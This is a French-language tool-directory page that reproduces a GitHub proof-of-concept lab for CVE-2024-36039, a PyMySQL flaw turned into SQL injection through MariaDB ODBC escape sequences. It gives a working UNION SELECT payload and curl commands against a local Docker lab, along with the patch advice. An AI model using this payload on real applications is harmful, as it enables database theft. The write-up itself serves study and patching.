Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-36039_PoC — PoC pour CVE-2024-36039 : Démontrant une injection SQL via la faille de sérialisation Objet-à-Chaîne de PyMySQL | Kitploit
Outils/GitHubGitHub/zenniskayy2k4/cve-2024-36039_poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationSécurité des Bases de DonnéesLabs et Pratique
GitHubzenniskayy2k4/cve-2024-36039_poc

CVE-2024-36039_PoC

PoC pour CVE-2024-36039 : Démontrant une injection SQL via la faille de sérialisation Objet-à-Chaîne de PyMySQL

Voir le dépôt
112il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-36039 : Injection d'objets PyMySQL vers injection SQL – PoC

Docker Python MariaDB Vulnerability CVE

Un laboratoire complet et reproductible de Preuve de concept (PoC) pour CVE-2024-36039, démontrant comment une vulnérabilité d'injection d'objets dans PyMySQL (versions <= 1.1.0) peut être escaladée en une injection SQL complète en utilisant les séquences d'échappement ODBC de MariaDB.


⚠️ AVERTISSEMENT LÉGAL & ÉTHIQUE (UTILISATION ÉTHIQUE UNIQUEMENT)

  • Ce dépôt est destiné uniquement à des fins académiques et de recherche.
  • Le code et les techniques fournis ne doivent PAS être utilisés pour interférer avec un système que vous ne possédez pas ou pour lequel vous n'avez pas d'autorisation écrite explicite de test.
  • L'auteur/les contributeurs NE sont PAS responsables des conséquences ou dommages causés par une mauvaise utilisation de ces informations.
  • En utilisant ce dépôt, vous acceptez de vous conformer à ces conditions.

📖 1. Aperçu de la vulnérabilité

CVE-2024-36039 est une vulnérabilité dans PyMySQL, une bibliothèque cliente MySQL pure-Python.

Lorsque des requêtes paramétrées (p. ex., execute("SELECT * FROM table WHERE data = %s", (my_dict,))) reçoivent un dictionnaire Python dont les clés sont des objets personnalisés plutôt que des chaînes standard, PyMySQL utilise la méthode __str__ ou __repr__ de l'objet pour le sérialiser en une chaîne SQL.

Le bug : PyMySQL oublie d'échapper (de mettre entre guillemets simples) la chaîne résultante de la clé objet. Cela entraîne l'injection brute, non citée, de la chaîne dans l'instruction SQL formatée sous forme de dictionnaire : {ChaîneObjetNonCitée: 'ValeurÉchappée'}.


🔬 2. Analyse technique approfondie : l'astuce ODBC de MariaDB

En soi, injecter {CléNonCitée: 'Valeur'} dans une requête MariaDB déclenchera une Erreur de syntaxe 1064 car {} n'est pas une syntaxe SQL standard pour les données.

Cependant, MariaDB/MySQL prend en charge les séquences d'échappement ODBC, qui utilisent les accolades {}. Pour contourner l'erreur de syntaxe, la chaîne juste après { doit être un mot-clé ODBC valide (p. ex., d, t, ts, fn).

La chaîne d'exploitation :

  1. La clé objet (le point d'injection) : Nous créons un objet personnalisé qui renvoie fn/* via sa méthode __repr__.
  2. La valeur (la charge utile) : Nous définissons la valeur du dictionnaire à */ 1} UNION SELECT 1, flag, 3 FROM secret -- .
  3. Sérialisation par PyMySQL : PyMySQL formate ce dictionnaire dans la requête SQL sans citer la clé :
    SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
    
  4. Magie d'analyse de MariaDB :
    • {fn : MariaDB reconnaît le début d'une fonction scalaire ODBC.
    • /*: "'*/ : MariaDB traite cela comme un commentaire bloc. Les deux-points : et le guillemet ouvrant ' générés par PyMySQL sont complètement ignorés !
    • 1} : Termine la fonction ODBC (renvoie effectivement l'entier 1).
    • UNION SELECT 1, flag, 3 FROM secret : Notre charge utile SQL injectée est exécutée.
    • -- '"} : Le commentaire SQL ignore le reste des caractères superflus ('}).

Résultat : Une injection SQL parfaite contournant à la fois la logique applicative et la paramétrisation de PyMySQL !


🛠️ 3. Instructions de montage du laboratoire

Prérequis

  • Docker
  • Docker Compose

Installation

Clonez ce dépôt et lancez l'environnement :

git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build

(Attendez environ 15 à 20 secondes que le conteneur MariaDB s'initialise complètement).


🎯 4. Étapes d'exploitation

Étape 1 : Requête normale

Envoyez une requête JSON standard. Le backend transformera la clé JSON en un objet CustomKey.

curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"yamato": "Any_value"}'

Réponse : Vous obtiendrez une erreur de syntaxe SQL indiquant que {yamato: "'Any_value'"} est du SQL invalide, confirmant le point d'injection.

Étape 2 : L'exploit (Extraction du flag)

Injectez la charge utile de séquence d'échappement ODBC pour contourner l'erreur de syntaxe et extraire le flag caché de la table secret.

curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'

Réponse (PWNED !) :

{
  "data":[
    {
      "device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
      "id": 1,
      "log_data": "3"
    }
  ],
  "status": "success"
}

🛡️ 5. Correctif

Pour corriger cette vulnérabilité, mettez à jour PyMySQL vers la version 1.1.1 ou ultérieure.

Dans les versions corrigées, les développeurs s'assurent que toutes les clés de dictionnaire, quel que soit leur type, sont correctement échappées et citées avant d'être insérées dans l'instruction SQL.

pip install --upgrade PyMySQL

📚 6. Crédits et références

  • Avis CVE-2024-36039 : NVD - CVE-2024-36039
  • Correctif de sécurité PyMySQL : Version GitHub PyMySQL v1.1.1
  • Séquences d'échappement ODBC MariaDB : Documentation MariaDB.
  • Inspiration : Cet environnement de laboratoire a été modélisé sur la base de techniques modernes d'exploitation web impliquant des défauts de sérialisation objet-à-chaîne.

Avertissement : Ce dépôt est créé uniquement à des fins éducatives et de recherche. N'utilisez pas ces techniques contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.

© 2026 par zenniskayy. Construit pour un internet plus sûr.

Télécharger l’outil